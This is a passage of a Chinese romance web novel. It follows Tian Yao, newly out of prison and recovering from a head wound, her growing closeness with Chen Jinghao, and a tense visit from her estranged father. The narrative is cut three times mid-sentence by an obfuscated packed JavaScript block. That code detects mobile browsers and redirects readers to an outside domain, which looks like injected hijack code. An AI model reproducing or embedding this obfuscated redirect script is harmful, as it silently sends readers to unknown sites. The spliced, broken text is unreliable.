戴云辉嘴巴紧抿,不语。
陈景皓突然爆喝一声,“我问你谁先动手的!”
“……是我,是我先动手揍他的。”戴云辉咬着下唇,另一手拳头已然握紧。
“为什么要动手——”
戴云辉沉默,全然不似以往的话唠。
陈景皓叹了一口气,“戴云辉,你今年几岁了。”
戴云辉不知他怎么提起这茬,静了一会低声道:“二十。”
“你都二十岁了,还想着用暴力解决问题,你这样——”陈景皓说,“你这样跟金伟全他们有什么差别吗。”
陈景皓静了一会,又说:“我知道你肯定不会像他们一样不讲理,但你好歹想想——晓君田遥她们都在,你这样闹起来,金伟全要把她俩也打了会怎样。”
训了几句,陈景皓看着他红一块紫一块的脸,一肚子的火也卸了。
“金伟全那个蛮人,路数跟我们不一样,以后见着离得远点。”
也不等他回答,陈景皓走到路灯底下,继续抽烟。
戴云辉看着他的背影,挺拔又有力量,只是那只火星一亮一灭的烟头,让他显出少许颓唐。
半天,戴云辉才应了一声,“皓哥,对不起。”
陈景皓抬了抬手,也不回头,“回去跟田遥说。”他顿了一顿,“顺便处理下你自己的伤口。”
戴云辉回到清创室,田遥的伤口已经处理好。她后脑勺垫着一块白纱布,脑袋上罩了个纱网帽。
“小遥子。”戴云辉叫了她一声。
田遥微微抬起头,温礼还在帮她清理脖子上的污渍,他瞥了戴云辉一眼,眉头又皱在一起。
“嗯。你的脸……”她的手指动了动,“不处理一下么。”
戴云辉摇头,“我不要紧。”当着外人的面,他的道歉全缩了回去。
她眼神落到他身后,戴云辉了然,说:“皓哥一会就回来。”
温礼将田遥收拾好,洗完手后在单子上签字,解下口罩递回给田遥。
“之后一周还要每天来清理一下。”
田遥嗯了一声,接过黄色的单子,“谢谢。”
温礼苦笑,“谢什么呢。”方晓君走进来,瞧见不戴口罩的温礼有片刻的愣神。温礼只匆匆扫了她一眼,又回到田遥身上:“现在要回去吗。”
田遥站起来,“嗯,我跟他们走。”
从见到她的那一刻开始,温礼攒了一肚子的疑问,到得现在,却只能化成一声叹息。
“那我就不送你了。”温礼最后说,“我明天再去看你。”
警察已做完笔录离开,方晓君转身前又往温礼方向掠了一眼,才看向田遥:“能走吗,要不我扶着你点。”她搀住了田遥,田遥没拒绝,只扯了扯嘴角。
出了急诊科门口,陈景皓刚好往回走。
“弄好了?”
田遥应是。
“缝了几针?”
“四针。”
“……”陈景皓看着那只白色的纱网帽,她脑袋看起来像网兜包装的小西瓜。“我们回去吧。晓君,你和阿呆顺路,你俩一起走。我送她回去。”
“嗯,知道。”方晓君放开田遥,站到戴云辉身边,“田遥之后还要每天来清理伤口,你记得包接送哦。”
“要你说。”
陈景皓在医院门口拦了两辆出租车,看着他俩上车了,才和田遥一起坐进后座。
一路两人都不说话,窗外的路灯柱子在橘黄色的光线中不断后退,街边树的叶子已经郁郁葱葱,再也寻不到春时的萧索。
他们回到那个老小区,陈景皓跟她一起上了五楼,跟着进了门。
田遥回身,对上那双黝黑的眼睛,还有他一脸的欲言又止。黑夜还原原本的面目,一屋子的空气安静又凝重。
田遥揩过鬓边掉下的一戳头发,倏然轻声笑了。
“陈景皓,你那么严肃干什么。”
“是吗。”陈景皓没有笑,他依旧一瞬不瞬地看着田遥,却不肯多说一个字,那双眼睛愈发深邃了。
田遥点点头,迎上他的目光。
“要是换作戴云辉,我也会那么做。所以——”田遥认真地说,“陈景皓,你别把这个看成包袱,真的。”
“……不是包袱。”陈景皓说,表情有些无奈,还有自嘲。“怎么会是包袱。”
陈景皓走近几步,在她面前站定。他伸出手,轻轻落在田遥的发顶。两个小时前,那里还是一片柔软的黑发,现在……他缓缓移动手掌,指腹和掌心触感干燥而粗糙,磨得他有些不舒服,淡淡的药水味萦绕鼻端。
田遥身形绷紧,她抬眼看着他,陈景皓下颌线条坚硬,爬出淡青色的胡茬。
“你干什么呢。”她低低地说,两手垂在身侧,有些不知所措。
“疼吗。”他将手缩回来,俯视着她。他背着光,影子几乎能将她包裹。
“不疼呢。打了麻药,麻麻的,不疼呢。你刚才那样——”田遥说,“我都感觉不到。”
“你傻不傻啊。”陈景皓叹气,“都缝了四针还说不疼,你到底什么做的啊,铁啊。”
“我——”田遥忽然笑笑,“我月亮座的。”
陈景皓:“……”
“太晚了,你回去吧。”
“嗯。”陈景皓看了几眼那个网兜西瓜,“我明天再来带你去医院。”他走到门边,又转回头,喊了一声“田遥”。
“啊?”
“以后遇上这种事
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684836|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,往后闪着点。”陈景皓说,“还有男人在呢,你护着点自己。”
田遥眉梢轻挑,“再说呗。”
“……”陈景皓无奈笑笑,帮她带上门。“晚安。”
第二天下午,陈景皓陪田遥去换药的时候镇定多了。
护士取下她的纱网帽和纱布,有条不紊地帮她清洗,陈景皓就站在她面前,田遥低头看见那双被小猫玩过的驼色鞋子。
药水渗进伤口,丝丝涩痛,又有几分清凉。沉默良久,她忽然踢了踢他的鞋尖,说:“是不是很难看啊。”
“什么?”
“脑袋。”
田遥的后脑勺露出一块光光的头皮,像收割完的麦田。头皮中央伤口暗红,和那四道缝合线交错成一个栅栏。由于不能洗头,她的头发看上去有些油腻发粘。
“不啊。”
“撒谎。”
“……”
田遥把腿收回,咯咯笑了。
清理完伤口,他们一块往陈景皓的车子走去。上车前,田遥把脑袋凑到后视镜,照了又照。
陈景皓已经坐进车里,他将副驾座的窗户摁下,看向似乎不肯上车的田遥。
“怎么了。”
医院高层窗户反射的光线打到她脸上,田遥后退了一步,皱着眼睛说:“我想去买个帽子。”她指指自己的脑袋,“这样,太丑了。”
“……你都呆在屋里,谁看得到啊。”陈景皓说,“再说了,这天都够热了,你还带着帽子,伤口怎么散热啊——戴帽子是要悟出脓的。”
“哦——”田遥若有所思,看了看自己的鞋尖,又抬眼。“可我总不能戴着这个东西去酒吧啊。”
“去酒吧干嘛。”陈景皓直想把她拎进车里,好好说话。“你这样子还去上班,方晓君还不把我给劈了啊。”
田遥思考他的话,半晌才慢条斯理地开口:“不上班就没钱啊,我还要交房租呢。”
“……”陈景皓咬咬牙,“老子什么时候说过要扣你工资。”
田遥笑得有些狡黠,她扒开车门坐进去。
陈景皓斜了她一眼,田遥正啪嗒一声扣上安全带。
“田遥。”
“什么。”
“我怎么觉得你——”陈景皓顿了一下,“好像变了。”
“哪变了。”田遥不解地看着他,陈景皓也看着她,不像在开玩笑。
“变得——”陈景皓探究地看着她,“嗯,活泼了。”
“唔,那是因为,脑袋刚开过光了。”
陈景皓一时语塞,闷闷地发动车子。
田遥看着车子慢慢离开路边的停车位,想了想,总结性地说:“我以前就那样的。”
活泛,甚至没心没肺。
像戴云辉一样。
“看不出来啊。”陈景皓直视前方,“那得多久以前啊。”
田遥笑了笑,“反正是很久以前了。”
车开出没多久,车厢里想起诺基亚经典铃声。陈景皓在红灯前把车子停下,田遥两手随意搁在腿上,一动不动,状若罔闻。
“田遥。”
田遥转头看向他,“什么。”
陈景皓两手从方向盘上滑下,放松地放在腿上,“……你手机响了。”
“……哦。”
田遥慢吞吞从裤兜里取出手机,她的手机号只有陈景皓和温礼知道,手机很少会打进电话,她一时有些反应不过来。
她翻开盖子,小小的屏幕上是一串无名号码。
非常熟悉的号码。
她愣了一下,手指长摁在挂机键上,直到屏幕变黑。
“……骚扰电话。”她说,然后把手机塞进裤兜里。
15. 第15章
离晚饭时间还远,陈景皓问田遥想去哪里。田遥好像一下泄了气,看着窗外闷声说:“回去吧。”
才刚夸了她,田遥又换回冷淡的模样,陈景皓看了一眼她的手,似乎又看见那只小手机的身影。那已经是好几年前的机子了,市面的老人机屏幕都比它都要大。
陈景皓没再说什么,双手握回方向盘,等着绿灯前行。
陈景皓的车驶近他们那栋楼,白天车位相对较多,他寻了个阴凉的空位,把车倒进去。才刚停稳,一辆银灰色的小车从他们前经过,树叶和天空的影子在挡风玻璃上划过,隐约可见前排坐了两个人。那辆车跟他们错过一个车身后停下,尾灯亮起,车子慢慢倒进他们旁边的车库。
陈景皓和田遥下了车,背向那辆车往楼梯口走。
车位后面的树荫下,那张石桌边坐了四个玩牌的中年男人,旁边还站了几个,负着手伸长脖子津津有味地观战。围着树根的白瓷砖花坛坐着两三个少妇,抱着各自的孩子聊家常。斑驳的树荫投在青灰色的六边形板砖上,光斑随着树叶偶尔晃动。
这看起来再寻常不过的夏日午后,一切宁静又安详。
“小遥。”
他们走到楼梯口,陈景皓刚把门禁刷开,后面传来男人的呼喊声。陈景皓和田遥都停步回头。
就从刚才他们过来的地方,走来两个人。其中一个——陈景皓一只手还扶着不锈钢门,眼睛眯缝起来——是医院看到的那个医生,而另外一个……
是个高瘦的中年男人,穿了一件浅蓝色短袖衬衫,衣摆一丝不苟收进黑色西裤里,脚上穿着一双黑色皮质凉鞋。他戴着老式眼镜,整个人看起来斯文和善,像个大学老师。
中年男人在离田遥几米外放慢脚步,目光掠过田遥的脑袋,脸上出现沉痛之色。他讷讷地开口,话里犹豫之意显而易见。
“小遥……”
陈景皓看着那张和田遥相似的脸,低声在她耳旁说了一句,“我先上去了。”
“嗯。”
她无意识的一声,也不知是在应谁。
身后铁门轻轻地合上,门禁传来滴的一声。温礼和田国成已经走到跟前。
田国成略显稀疏的头发掺杂着少许白发,田遥隐约记得,上一次见面他还不是这样子。
田遥盯着他,说:“你来干什么。”
“你的——”田国成看着她的脑袋,“怎么伤成这样了啊……”
他眼里的关心真真切切,田遥撇开眼,冷冷地说:“关你什么事。”
田国成有些尴尬地低下头,正好看见田遥的白板鞋,鞋沿已经磨出毛边,鞋带萎靡地耷拉着。这样的鞋子放在以前,早被她扔到一边了。
“小遥……怎么出来了也不告诉我们一声啊……电话也不接……”田国成的语气,三分委屈七分小心,像做错事的小学生,在跟老师做检讨。“我昨天到那里找你,结果他们说你几个月前就出来了,哎——”
知了的叫声扰乱神思,夏天让人燥热难耐。
田国成已经五年没有见过田遥了,她在监狱里,唯一肯见的人只有温礼。
田遥直直盯着他,脸上一点表情也没有。虽然对此早有心理准备,但真正面对时,田国成还是感到无助的胸闷。
这可是他的女儿啊。
温礼交替看着父女俩,一个冷如冰霜,一个小心翼翼,那层父女关系,说出来估计都没人信。
下午田国成打电话找到他,询问田遥的事情。这五年,温礼一直是他们和田遥之间的信使。他没多想,本来他也打算来看田遥,就顺便把田国成也捎上。
现在细想,也许是他潜意识里,想把田遥从那个深渊拉出来,从那样的生活中拉出来,如果他做不到,或许她爸爸可以。
但如今,温礼失望了。
因为他又看见那个男人,跟在田遥身边。
“我几时出来干你什么事。”
田遥说完,转身掏出门禁刷开门。要不是她狠狠将门掀开,都看不出她情绪起伏。
田国成走近一步,拿手垫了垫门,他回头看了温礼一眼,温礼了然地点头:“叔叔,我在车上等你好了,你们慢聊。”
田国成无奈地点头,跟着田遥上楼。
陈景皓回到自己那,顺手带上了门,打开了吊扇。看到田遥的父亲,他心里有些发堵。路过客厅那排书架,他下意识掠了一眼,那三个相框定定立在那里,照片中的女人对着他笑。
陈景皓想起他妈来了。
陈红梅结婚后,就搬离了这里。她丈夫不喜欢陈景皓这个莫名其妙的儿子,由是即便逢年过节,陈景皓也很少能见到陈红梅。
他从烟盒里咬出一支烟,点燃坐到沙发上。他长腿敞开,倚着靠背,从裤袋里掏出手机,粗粗的拇指滑开锁屏,从通信录中点下一串号码。
“喂。”
电话接通,陈景皓不由倾身向前,右手肘支在膝盖上,左手将手机紧紧贴在耳边,想怕漏掉一句话似的。
“妈,是我。”
“啊,怎么了,突然打电话来。”
“……”陈景皓也说不清楚,他侧了侧头,正瞧见阳台上那几盆翠绿的向日葵,已然含苞待放。“也没什么事,就是很久没跟你联系了。妈,最近身体都好吧?”
“哦——都好的,我都挺好的。你不用担心。”陈红梅说,“你呢,上回你跟我说的女朋友,怎样了?准备几时结婚呢。”
“……结婚,没那么快结婚呢。”陈景皓笑得有些自嘲,“她父母觉得他们女儿跟我委屈了,不太乐意呢。”
“啊,记得了。”陈红梅似乎拍了一下什么东西,“她家当官的啊?”
“差不多吧。”
“那你赶紧换一个,你条件又不差。你都三十多了,也该结了。别人到你这个年纪都计划二胎了呢。”
陈景皓只呵呵一笑,吸了一口烟。
“我看晓君挺不错的一孩子啊,脾气好,又会管钱,你怎么不考虑考虑。”
“妈,晓君是我妹。”
陈红梅不以为然,“又不是亲生的。”
话一出口,两人倏然都噤声不语。客厅上方的吊扇吱呀吱呀地转着,把白色的烟雾吹成破碎的千丝万缕。陈景皓耳边,只有呼呼的风声。
静了一会,电话那端传来其他男人催促的声音,陈红梅再度开口:“皓子,你看——没什么事我先挂了啊。你大哥最近得了个儿子,我在他们这边带孩子呢,小孩准备要洗澡了。”
“……嗯,好。妈,你忙吧。”
“嗯,你也忙你的去吧,有空我再打电话给你。”
“好。”
嘟嘟的忙音来得特别快,陈景皓垂下手,卸力地靠回靠背。他仰着头,两眼望着空中虚无的一点,偶尔动一动手臂,把烟送进嘴里吸上一口。
门外传来细碎的脚步身,陈景皓支起脑袋,往门的方向看了一眼,又靠回墙上。
他听出来了,那只有两个人的脚步声。
天花板旧得有些发黄,浅绿色的吊扇上方,铁钩结着薄薄的蛛网。
他其实很少回这里,即使来了,也很少过夜。屋里唯一有生命的东西,只有那颗巨大得搬不走的仙人掌。它蒙着灰尘,看起来跟死物毫无二致——可它还分明还活着。
而现在——陈景皓歪了歪脑袋,看向阳台——他还有向日葵了。
那几个嫩绿夹黄的小花苞,像小太阳一样,看起来阳台都被照暖了。
外面传来嘭啷一声,他再熟悉不过了,那是玻璃破碎的声音。
以前在这里长住时,楼下的小夫妻吵架就爱摔东西,嘭啷嘭啷一叠声
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684837|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,还伴着男人的呵斥、女人的鬼哭狼嚎,壮观得像被踢馆一样。
“滚!”
田遥尖锐的声音,比昨晚更为激烈,那声音钻过门缝,依然刺耳。
接着是一道震耳的摔门声。他的烟掉下一小撮烟灰,像被震掉一般,陈景皓再抬起手,发现烟已经燃到了尽头。
“小遥……”田国成的声音透过门缝,听起来有些压抑。“我知道你恨我们……哎……”田国成顿了一顿,“有需要的地方,给我们打个电话,我们一定会帮你……”
那边没有回应,安静了好一会,外面才传来渐远的脚步声,噔噔噔,一下又一下,速度很慢。
温礼在楼下看那几个人打牌,一局还没完,就听到铁门开锁声——田国成已经从楼里出来。相对一对五年不见的父女来说,这也太快了。
看来好心办了坏事……温礼叹了一口气,迎了上去。
“叔叔。”
“啊。”田国成一直低头想事,差点把温礼忘了。他抬头,说:“哎,那丫头还是那样,见了话都不愿跟我多说一句,就把我给赶出来了——哎,算了算了,我还是回去吧。过些日子再来……”
“那,我送您回去吧。”
田国成摆摆手,一脸歉然说:“不麻烦你了,我自己搭公车走就行……”看温礼坚持的样子,他连忙补充:“温医生,真不用了。这几年小遥的事多亏有你帮忙,我们全家都很感谢你。小遥只听得进你的话,以后啊——还麻烦你有机会帮多劝劝她了……”
她要听得进我的话就好了,温礼心里苦笑。
“叔叔您别客气。我和小遥也是十多年的朋友了,这些事是应该的。”温礼看了一眼那个铁门,“那——我上去找她说说。叔叔,您路上注意安全。”
“嗯。”田国成点点头,镜片后的眼神有些涣散,“谢谢你了。”
温礼抬头,从底下一层一层往上,望着这栋沧桑的楼房,五楼空荡荡的阳台上挂着一件白色短衫,孤孤单单随风摇荡。
他尾随一个老大爷进了那扇铁门。
陈景皓坐在沙发上等了一会,确认门外再无动静,他才开门走出去。他在离那扇掉漆的门前停住,手指已经曲起,抬起到半路却又垂下。
他该用什么样的开场白。
你,没事吧。
田遥,你……
……
好像都不太对劲,陈景皓头一次发现自己词汇量如此贫匮。
他微微低头,一只黑蚂蚁在地上东转西转,不知道在寻找什么。
耳边又传来脚步声,与之前的不同,这次的声音,很急促。
陈景皓望向楼梯,温礼也刚好走到平台处,两人目光交汇在一起。
“温医生。”
陈景皓慢吞吞走下几级台阶,温礼也走上来,和他站在同一层。楼梯不宽,两个男人都微微侧着身,一瞬不瞬看着对方。五楼花格窗户漏进来的光线很足,他们没有错过对方一丝一毫细微的表情。
但两人脸上都没什么表情。
“你是昨晚送小遥去医院的……”
“对。”陈景皓伸出右手,“陈景皓。”
“温礼。”
他们简单握了一下手,又匆匆分开。
温礼说:“你也住这里?”
“对。”陈景皓点头,“我住田遥对面门。”
“……嗯。谢谢你送小遥去医院。”
“客气了。”
两人再也无话,错开身各自前行。
陈景皓转过楼梯,听到敲门声,忽然停下脚步,抬头忘了一眼。好巧不巧,温礼的目光穿过生锈的铁栏杆,又和他的撞到一起。
陈景皓轻扯嘴角,缓步下楼。他越走越轻快,脑子里滚动轮播着一个念头。
那人真不是田遥男朋友。
16. 第16章
温礼敲了三下门,退后一步等待,但门内毫无动静。他想了想,又叩了三下,大声说:“小遥,是我。”
话音刚落,里面果然传来脚步声,木门吱呀一声被拉开。
田遥面无表情看了他一眼,说:“进来吧。”
温礼看了一眼门边,没有鞋架,只有一双白色的人字拖随意摆在地上。
田遥看出他的犹豫,淡淡地说:“直接进来吧,不用换鞋。”
屋里是水泥地面,的确没有换鞋的必要。
刚踏进一步,田遥又提醒道:“小心地上。”她指的是一地的玻璃碴。
温礼:“……”
“随便坐吧。”田遥往沙发上比划一下,“我先扫了它。”
她给温礼倒了一杯水,转身去拿扫把和垃圾铲。
温礼不知怎地,想到了他们在酒吧的第一次碰面。那时她也是拿着这两样东西。
温礼撇开眼,喝了一口水,开始打量起这个屋子。他环视了一圈,发现只能用一个词来形容。
家徒四壁。
更准确地说,这还不是一个家。
家具跟这栋楼房一样老旧,处处透着破败的气息。屋子里唯一的点缀就是那些大大小小的画,被垫在桌上的,被挂在墙上的。
玻璃碴擦过水泥地,发出干燥的沙沙叮叮声。
田遥觉察到他神色有异,轻声笑了笑。温礼发窘得仰起头,喝光了杯子里的水。
“你别看这地方破,要比起监狱里的——可不知道舒服上多少倍了。”
田遥几乎从不主动说起监狱的事,一旦提起,那只有一种可能——她生气了。
温礼低着头,看着杯子在手里转动,那只蓝色的扫把不断进出视野,每次耙走掉一些玻璃碴。
“对不起。”温礼低声说。
田遥把玻璃碴多扫进垃圾铲,又将它们都倒进阳台的垃圾桶。
“你又没做错什么,干嘛跟我道歉。”田遥坐到餐桌边的椅子上,隔着茶几看着温礼。温礼抬起头,无力地笑了笑。
田遥静了一会,才缓缓说:“阿礼,以后他们要再跟你打听我的消息,你只说不知道行了。”温礼既不反驳,也不答应,田遥顿了一下,又说:“我不想看到你被夹在我和他们之间。多难受。”
温礼看着她,还是那副清淡的神情和语气。他不由得想起她和陈景皓说话的样子——才想了个开头,他就放弃了。
不一样。
她对陈景皓和他不一样。
“阿礼?”
“啊?”温礼恍然。
“你答应我。”
“答应什么?”
田遥表情严肃起来,她腰板挺直,一手搁在餐桌上,一手随意搭在腿上,像要训话的领导。
“以后别把我的消息告诉他们。”
“……”温礼不再看她,“再说吧。”
“温礼!”
温礼把杯子放到茶几上,低头的瞬间皱了皱眉头。
“你的伤……怎么弄成这样的啊。”
田遥看向阳台的那件白色短袖,它一个劲的晃啊晃,就是掉不下来。她漫不经心地说:“你不都知道么。”
温礼:“……”
餐桌上的手机响了一声,田遥摸过手机,翻开盖子。
一条新信息,来自陈景皓。
她嘴角弯了弯,摁开了短信。只有短短一句话,她反复读了好几遍。
【我先去酒吧了,明天再来看你。】
她握着手机,走到阳台扒着栏杆往下看,那辆白色SUV正缓缓驶出绿荫,往路口拐去。
温礼怔怔看着她,他们之间仿佛隔成两个世界,各自尝着不同的喜怒哀乐——对面的世界,他进不去,从来都是。他又低头看着那只玻璃杯,杯底压着茶几的一道裂纹,从上方看,裂纹被放大了一倍。
温礼等她回来,说:“我该走了。”他嘴巴动了动,后面一句怎么也吐不出来。
田遥轻轻挑起下巴,嗯了一声。
画室的课程已经结束,田遥每天窝在屋里,足足等了七天拆了线,才能将敷料和纱网帽去掉。而她的头发,已经油腻得不像样了。她买了帽子,虚虚地戴在头上。
敲门声响起,不用问也知道是谁。田遥戴上帽子,去开了门。
“怎么在屋子里还戴着帽子?”陈景皓看到她便问。
这不是明知故问吗。田遥笑了笑,把他让了进门。
田遥在画画。房东原来的饭桌架在厅中央,铺上素净的桌布,就成了她的画桌。桌上搁着一朵粉色芍药,画上的芍药花有了雏形。
“你随便坐吧。”田遥随手指了指沙发,进厨房给他倒了一杯水。“我想画完这幅画,能等吗?”
陈景皓刚起床,口渴得很,端起杯子咕嘟喝了大半杯。
“不急,我还不饿。你饿了吗?”
田遥摇摇头,回到桌旁,继续给芍药上色。陈景皓搁下水杯,拖了一把椅子到她旁边,抱着胳膊看着她。
帽檐挡住了她的眼睛,陈景皓只能看到田遥挺翘的鼻子,和紧抿的嘴唇。她画得很认真,细细的一笔一笔,描绘着花的风姿。
他这么想着,田遥却忽然浅浅勾唇,低声笑了。
“你笑什么。”像偷窥被抓了现行,陈景皓不自在地撇开眼。
“没事。”田遥又笑了。
田遥又恢复那股淡淡的神情,淡然得和慵懒的午后融合在一起,柔软得让人想靠近。
“这花有什么意义?”
田遥看了他一眼,“你是问,花语么?”
陈景皓点头,“嗯,就花语。”
田遥脱口而出,“情有所钟。”
这四个字清清淡淡,却带了股莫名的力量,拉着陈景皓往沉默走去。田遥有些懊悔自己的快嘴,好像她在拐弯抹角向他表白似的。
田遥隔着帽子挠了挠脑袋,讪讪补充:“花店老板给的。”
陈景皓看着她绯红的脸颊,越看越舒服,轻快地说:“花店老板是个男人吧。”
田遥无比认真地点头,“嗯,像你一样的老男人。”
陈景皓:“……”
屋子里又归于沉寂,却并不尴尬。
陈景皓就那么静静地看着她,白皙秀气的脖颈,修长灵巧的手指,还有,性感的锁骨。
田遥并不习惯被人注视,只因她的注意力一直在画上,由是对他的目光毫无知觉。她脑袋似乎不舒服,时不时拿手去挠几下。
等到芍药花完工,她小心翼翼地将本子捧给陈景皓看,才注意到他异样的目光。
田遥的双颊一时间红得比芍药花还娇艳。
“好看吗?”田遥示意他看她的画。
陈景皓又看了她一眼,答了声“好看”,才去看那朵花,他眼神微微顿了一下。
“哪好看?”田遥将本子放到芍药花旁对比。
他看着那两朵花,想了想,说:“……怎么颜色不一样呢。”
桌上那朵,娇粉淡然,而纸上那朵,却是艳红似火。
田遥浑不在意地点点头,“我喜欢。”
“你为什么不画人像?”陈景皓问,泰景江边很多画人物肖像的画手。
田遥端详着画上的芍药,“我画人像画不好。”
“是吗。”陈景皓轻声笑,想起躺在车抽屉里面他的肖像画,他怎么觉得像在照镜子。
“嗯。以前的老师说,我对那些模特的感情不够投入,所以,画不出那种细微的神态。”
陈景皓只感觉到胸膛有些炽热。
田遥还在继续说:“像《泰坦尼克号》里面,男主给女主……”田遥惊觉这例子太尴尬,突兀地打住了。
“男主给女主什
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684838|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么……”
“没什么。”田遥赶紧闭嘴。
“我后天要回去上班了。”田遥换了一个话题,宣布似的说。
“……你现在这样怎么上班啊。”陈景皓的目光停留在她的帽子上,“你在家歇着吧。”
“我都歇了一周多了,再这样下去,我可要喝西北风了。”田遥懒得看他,一样一样地整理桌上的文具。
陈景皓说:“……我不扣你工资。”
田遥转头看了他一眼,眼神含着淡淡的责备,“哪有你这样当老板的呢。”
陈景皓挑了挑眉,“我喜欢。”
田遥嗤了一声,没再纠结这个问题。
田遥洗了手,和陈景皓一块出门。
他们走在街上,陈景皓侧头看着她,说:“你想吃什么?”
田遥的目光往街边的店扫去,湘菜、粤菜、饺子店等等,最后落在陈景皓身上。
“吃什么都行吗?”
“嗯。”
“那……你会做菜么。”
“当然。”陈景皓看着她,静了一会,说:“你想吃我做的菜啊。”
“一直在外面吃,有些腻了。”田遥有些不好意思点点头,“……我不会做菜。”
陈景皓笑了,“好,那我们去超市买点菜。”
这个时间点超市人很多,扶梯上挤满了人和购物车,田遥在超市门口停下来。
“会不会太麻烦了啊。”她犹豫地看着陈景皓。
“不麻烦。”陈景皓径直往放购物车的地方走,推了一辆招呼田遥跟上。
陈景皓让田遥站在购物车旁,他站在她身后,左手扶着推车,右手搭在扶手上,将田遥和后面的人群隔开。
“要买什么?”田遥回头,看见陈景皓两臂微张,像一个怀抱。这个比喻让她心头一暖。
“你想吃什么?”
又绕回了最初的问题,他们对视了一眼,都不由笑了。这么一下,感觉周围都安静了。他们都匆匆撇开眼。
“吃鱼吧。”田遥最终拍板。
他直接带她来到水产区,挑了一条黑鱼。又去拣了些蔬菜,陈景皓问她要吃零食吗。田遥摇头,于是他们排队结账。
陈景皓提着一大袋子的菜,和田遥一起回到了小区。田遥要往楼上走的时候,陈景皓却叫住了她。
“这边走。”他拿钥匙指着他停在楼下的车,车头灯跟着闪了两下。
“……去哪里?”田遥回头,不解地看着他。
“我家。”
陈景皓把菜直接放进后座,又回头向她解释,“楼上的厨房没东西,做不了菜。去我现在住那里。”
果然还是太麻烦了。
田遥只好绕到副驾座那边,开门坐了进去。
一路北行,陈景皓将车开进盛辉国际的地下车库。他们从地库直接上了20楼。
“到了。”陈景皓在2017房的门前停下,摁开了密码锁。
屋里装修不俗,与陈景皓在老小区的房子自是云泥之别。客厅有一扇落地窗,通向外面的阳台。
陈景皓将袋子搁在鞋柜上,弯腰拉开柜门,里面有一双粉红的女式拖鞋。他手伸到半路,拐了个弯,把男士拖鞋拿出来放到她脚边。
“鞋子大了点,将就一下。”
“没事。”
“进来随便坐吧。”陈景皓换上鞋,提着袋子进厨房。
田遥紧张又郑重地环视一圈,客厅收拾得井井有条,摆放了一条巨大的L型沙发,边桌上摆着一部黑色电话,旁边扣着一个白色的相框,看不到上面的内容。
会不会也是他和他妈妈的照片。田遥不禁想。
“喝的在冰箱,你自己进来拿一下吧。”陈景皓的声音从厨房传来,伴着哗啦啦的水声。
“是——”田遥从相框上收回目光,垂着眼走进厨房。
17. 第17章
田遥走进厨房,陈景皓正在收拾黑鱼。他手指修长,动作娴熟,田遥不禁看得晃神了。
陈景皓似乎感觉到她的到来,回头看到她又在发呆,不由笑了。
听到笑声,田遥回过神来,从袋子里翻出蔬菜。
“我帮你洗菜吧。”
“你歇着吧,我来就行了。”
“你怕我洗不干净么。”
陈景皓顿住,看向田遥,可惜他只能看到那只棕色的渔夫帽。
“……你洗吧。”
水槽前面是一扇玻璃窗,外面夜色降临,陈景皓在切菜的空隙里,看见他们在窗子上模糊的影子。
田遥洗了菜就回到客厅看电视,陈景皓做菜很快,她才翻了几个台,他就把菜都端了上来。
陈景皓似乎很饿了,一碗饭扒拉几口就不见了一大半,看着都让人觉得有食欲。
席间,外面下起了雨,两人都没有察觉。
田遥放下碗筷时,陈景皓刚好也吃完第二碗饭。田遥站了起来,想要收拾桌子。
“不急,歇会。”陈景皓伸手拦着,示意她到沙发上看电视。
“哦。”
陈景皓看着她一路挠着脑袋回到沙发上,皱了皱眉,说:“怎么了,脑袋不舒服?今天总看到你这样。”
田遥回头,“什么。”
陈景皓指指自己的脑袋,“不舒服吗。”
“嗯……”田遥苦笑。
她确实不舒服,她已经很多天洗不了头,头发油腻不说,还发散着异样的味道,即使戴着帽子也能隐隐闻到。
陈景皓显然也想到了这一点,他笑了笑,说:“想洗头?”
被他这么一说,田遥双颊滚烫起来。她很诚实地点点头,又低下头。
“那就洗。”陈景皓站起来,他今天穿的还是那件深蓝色衬衫,下^身是卡其色休闲裤,和整个屋子的格调是如此的契合。
田遥偷看他一眼,憋着嘴,小声说:“我自己没法洗啊。”
“……”
陈景皓开始怀疑她的脑袋被撞傻了,他走近几步,说:“我是说我帮你啊。”
“啊……”田遥怕自己听错了。
“过来。”
陈景皓也不等她吱声,径自往浴室方向走。田遥不好再推却,潜意识也不想推却,她硬着头皮跟过去。
每走一步,烧在脸上的那把火就旺了一分,到得浴室门口,她耳朵红得滴血。
“怎么洗。”
陈景皓家的浴室很大,门对面是个椭圆浴缸,左边的盥洗台安了一面巨大的镜子,橙黄的灯光映得周围一片柔和又暧昧。
陈景皓左右看了看,走到浴缸边坐下,他拍了拍浴缸边沿。
“蹲这吧……我家好像没小凳子。”
